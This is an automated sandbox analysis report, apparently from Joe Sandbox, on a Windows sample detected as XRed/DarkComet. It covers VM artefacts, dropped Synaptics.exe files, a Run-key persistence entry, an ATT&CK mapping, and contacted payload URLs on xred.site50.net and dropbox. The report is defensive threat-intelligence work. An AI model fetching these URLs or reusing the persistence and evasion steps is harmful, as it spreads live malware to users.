Source: Amcache.hve.21.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.21.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.21.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.21.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.21.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.21.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.21.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.21.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.21.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.21.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.21.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.21.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.21.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.21.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.21.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.21.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.21.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.21.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\._cache_file.exe

API call chain: ExitProcess graph end node

graph_2-2861

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\._cache_file.exe

2_2_0100198B

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate			Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_0100168B GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

2_2_0100168B

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01005D22 GetVersionExA,GetSystemMetrics,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,

2_2_01005D22

Source: Amcache.hve.21.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX8506.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX8506.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	2 Replication Through Removable Media	2 Native API	41 Scripting	1 Access Token Manipulation	32 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	11 Process Injection	11 Virtualization/Sandbox Evasion	LSASS Memory	111 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	11 Process Injection	NTDS	11 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	34 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	4 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	15 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	92%	ReversingLabs	Win32.Worm.Zorex
file.exe	100%	Avira	TR/Dldr.Agent.SH
file.exe	100%	Avira	W2000M/Dldr.Agent.17651006
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\CZQKSDDMWR\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\CZQKSDDMWR\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCX8506.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCX8506.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\CZQKSDDMWR\~$cache1	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCX8506.tmp	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCX8506.tmp	94%	ReversingLabs	Win32.Backdoor.DarkComet
C:\ProgramData\Synaptics\Synaptics.exe	92%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\AppData\Local\Temp\IXP000.TMP\dsetup.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\IXP000.TMP\dsetup32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxupdate.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	0%	ReversingLabs
C:\Users\user\Desktop\._cache_file.exe	0%	ReversingLabs
C:\Users\user\Documents\CZQKSDDMWR\~$cache1	94%	ReversingLabs	Win32.Backdoor.DarkComet
C:\Windows\SysWOW64\directx\websetup\SET8E7C.tmp	0%	ReversingLabs
C:\Windows\SysWOW64\directx\websetup\SET8EBB.tmp	0%	ReversingLabs
C:\Windows\SysWOW64\directx\websetup\dsetup.dll (copy)	0%	ReversingLabs
C:\Windows\SysWOW64\directx\websetup\dsetup32.dll (copy)	0%	ReversingLabs

Source	Detection	Scanner	Label
http://xred.site50.net/syn/SUpdate.ini0&	100%	Avira URL Cloud	malware
http://www.betaplace.com.	0%	Avira URL Cloud	safe
http://www.betaplace.com	0%	Avira URL Cloud	safe
https://drive.userconten	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rard	100%	Avira URL Cloud	malware
http://www.BetaPlace.comEContinuare	0%	Avira URL Cloud	safe
http://www.betaplace.com.DInstalacn	0%	Avira URL Cloud	safe
http://www.BetaPlace.com.?	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
docs.google.com	216.58.206.78	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
drive.usercontent.google.com	142.250.186.129	true	false	high
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
xred.mooo.com	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.ini0&	file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.usercontent.google.com/download?idk	Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlT	file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.userconten	Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2358747058.000000001DF48000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rar	file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rard	file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.BetaPlace.com.?	._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278195181.00000000002DD000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dl	file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/I	Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.betaplace.com.DInstalacn	._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278195181.00000000002DD000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://www.betaplace.com.	._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000003.1287300089.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, SET8EBB.tmp.6.dr	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.ini	file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.betaplace.com	._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278195181.00000000002DD000.00000002.00000001.01000000.00000007.sdmp, dxwsetup.exe, 00000006.00000003.1287300089.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, SET8EBB.tmp.6.dr	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/download?	Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.BetaPlace.comEContinuare	._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278195181.00000000002DD000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000004.00000002.2328156074.000000001037E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2339136007.000000001823E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2342635471.000000001AB7E000.00000004.00000010.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978t	file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.BetaPlace.com	._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278195181.00000000002DD000.00000002.00000001.01000000.00000007.sdmp, dxwsetup.exe, 00000006.00000003.1287300089.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, SET8EBB.tmp.6.dr	false		unknown
http://xred.site50.net/syn/SSLLibrary.dll	file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
216.58.206.78	docs.google.com	United States	15169	GOOGLEUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583475
Start date and time:	2025-01-02 20:27:36 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal74.rans.troj.expl.winEXE@16/214@14/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 26 Number of non-executed functions: 40
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.76.240, 23.212.89.111, 52.113.194.132, 184.28.90.27, 20.42.73.28, 20.42.73.29, 13.107.246.45, 40.126.32.138, 4.175.87.197
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, time.windows.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, dlc-shim.trafficmanager.net, e12671.dscd.akamaiedge.net, login.live.com, download.microsoft.com.edgekey.net, main.dl.ms.akadns.net, e16604.g.akamaiedge.net, onedsblobprdeus15.eastus.cloudapp.azure.com, officeclient.microsoft.com, download.microsoft.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, neu-azsc-config.officeapps.live.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, onedscolprdeus15.eastus.cloudapp.azure.com, umwatson.event
Execution Graph export aborted for target Synaptics.exe, PID 4136 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:28:44	API Interceptor	617x Sleep call for process: Synaptics.exe modified
16:25:30	API Interceptor	2x Sleep call for process: WerFault.exe modified
20:28:44	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
69.42.215.252	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	xyxmml.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	valyzt.msi	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	13.107.246.45
	https://gldkzr-lpqw.buzz/script/ut.js?cb%5C=1735764124690	Get hash	malicious	Unknown	Browse	13.107.246.45
	Bootxr.exe	Get hash	malicious	Xmrig	Browse	13.107.246.45
	cici.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	intro.avi.exe	Get hash	malicious	Quasar	Browse	13.107.246.45
	random(6).exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	1.exe	Get hash	malicious	XWorm	Browse	13.107.246.45
freedns.afraid.org	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	69.42.215.252
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	xyxmml.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	valyzt.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AWKNET-LLCUS	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	69.42.215.252
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	xyxmml.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	valyzt.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	VKKDXE.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	XRed	Browse	216.58.206.78 142.250.186.129
	file.exe	Get hash	malicious	XRed	Browse	216.58.206.78 142.250.186.129
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	216.58.206.78 142.250.186.129
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	216.58.206.78 142.250.186.129
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse	216.58.206.78 142.250.186.129
	Setup.exe.7z	Get hash	malicious	Unknown	Browse	216.58.206.78 142.250.186.129
	45631.exe	Get hash	malicious	Nitol	Browse	216.58.206.78 142.250.186.129
	45631.exe	Get hash	malicious	Unknown	Browse	216.58.206.78 142.250.186.129
	1734098836319.exe	Get hash	malicious	BlackMoon	Browse	216.58.206.78 142.250.186.129

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxupdate.dll	dxwebsetup.exe	Get hash	malicious	Neshta	Browse
	https://epicgames-download1.akamaized.net/Builds/UnrealEngineLauncher/Installers/Win32/EpicInstaller-15.17.1.msi?launcherfilename=EpicInstaller-15.17.1-unrealEngine.msi	Get hash	malicious	Unknown	Browse
	CuratorStandardSetup.exe	Get hash	malicious	Unknown	Browse
	CuratorStandardSetup.exe	Get hash	malicious	Unknown	Browse
	https://launcher-public-service-prod06.ol.epicgames.com/launcher/api/installer/download/EpicGamesLauncherInstaller.msi?productName=unrealEngine	Get hash	malicious	Unknown	Browse
	Palworld.zip	Get hash	malicious	Unknown	Browse
	Palworld.exe	Get hash	malicious	Unknown	Browse
	https://launcher-public-service-prod06.ol.epicgames.com/launcher/api/installer/download/EpicGamesLauncherInstaller.msi?productName=unrealEngine	Get hash	malicious	Unknown	Browse
	https://launcher-public-service-prod06.ol.epicgames.com/launcher/api/installer/download/EpicGamesLauncherInstaller.msi?productName=unrealEngine	Get hash	malicious	Unknown	Browse
	5b1cxnTnnS.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_348ac1a0e27e10257094c0b0d8fb7ab45be575f_455b7b6e_9db0888f-550c-4bbd-b29b-383bae563cab\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1333106359412204
Encrypted:	false
SSDEEP:	192:T+DVpsjImo0WMn4DzJDzqjLOA/FczxwzuiFvZ24IO8EKDzy:Kyj5WMn4JqjkKzuiFvY4IO8zy
MD5:	1FFD851D58875E7ECF7405C1FCBED190
SHA1:	185CC3F9561417FD24D16C5E8DF8C52B3AB9D040
SHA-256:	A00A3DCF110FF920C096EB60D0695A909A3690C5FCA8A2ABBA696C6F1C3E4468
